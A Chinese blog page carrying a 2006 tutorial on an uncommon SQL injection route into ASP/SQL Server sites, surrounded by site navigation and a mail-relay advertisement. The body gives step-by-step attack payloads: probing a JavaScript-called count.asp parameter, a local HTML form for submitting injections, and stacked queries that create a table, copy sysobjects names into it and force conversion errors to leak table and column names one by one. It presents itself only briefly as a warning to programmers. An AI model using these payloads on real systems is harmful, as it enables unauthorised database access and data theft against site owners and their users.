首页 | 心情日记 | 建站心得 | 编程技术 | 大盘分析 | 股市信息 | 学习园地 | 电脑技巧 | 物流外贸 | 另类其它 | 站长推荐 | 给我留言 | 相册

用户登陆
用户:
密码:
 
不保存保存一天
保存一月保存一年

站点日历
73 2024 - 11 48
     12
3456789
10111213141516
17181920212223
24252627282930


站点统计

最新评论

日志搜索

 标题   内容


sql数据库恢复 SQL_Injection高级应用
未知 SQL注入的不常见方法   [ 日期:2006-12-26 10:27:53 ]   [ 来自:本站原创 ]

海外邮件中继,海外退信中继,美国高速VPS,不限流量VPN,邮局维护和管理,邮件网关,EMOS邮件中继,POSTFIX邮件中继,Winwebmail邮件中继,Winmail邮件中继,DBMail邮件中继,JDMail邮件中继,Exchange邮件中继,MDaemon邮件中继 淘宝店:http://shantan.taobao.com 云邮科技官网:www.yunrelay.com

【字体设置:
SQL注入的不常见方法

大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。
这样做的好处一来可以减轻服务器负担,提高访问速度。
二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:
全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击方法:
查看源文件/看里面是否有通过JS来调用的页面。
如调用<script language="javascript" src="/count.asp?id=1552"></script>来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552'
看一下是否出错。如出错说明有注入漏洞。
然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values('test');--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 
将 varchar 值 'vote' 转换为数据类型为 int 的列时发生语法错误。 
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
……类推
明白了吗?不明白之处到论坛提出吧。。希望通过此文能给朋友们提供一种思路。也给网站程序员一个警示。

暂时没有评论
   发表评论 - 不要忘了输入验证码哦!
作者: 用户:  密码:  我要注册 验证码: 
为防止广告注册机程序,验证码不会自动显示,请点击此处显示或者(刷新)验证码!
评论:

禁止表情
禁止UBB
禁止图片
识别链接
识别关键字
确定发布?
最多可以输入200个字,目前你已经输入了0个字;你今日还可以发表10条评论!
 
   

CopyRight © 2008-2010 广东金融学院030904班 All Rights Reserved
Powered by www.030904.com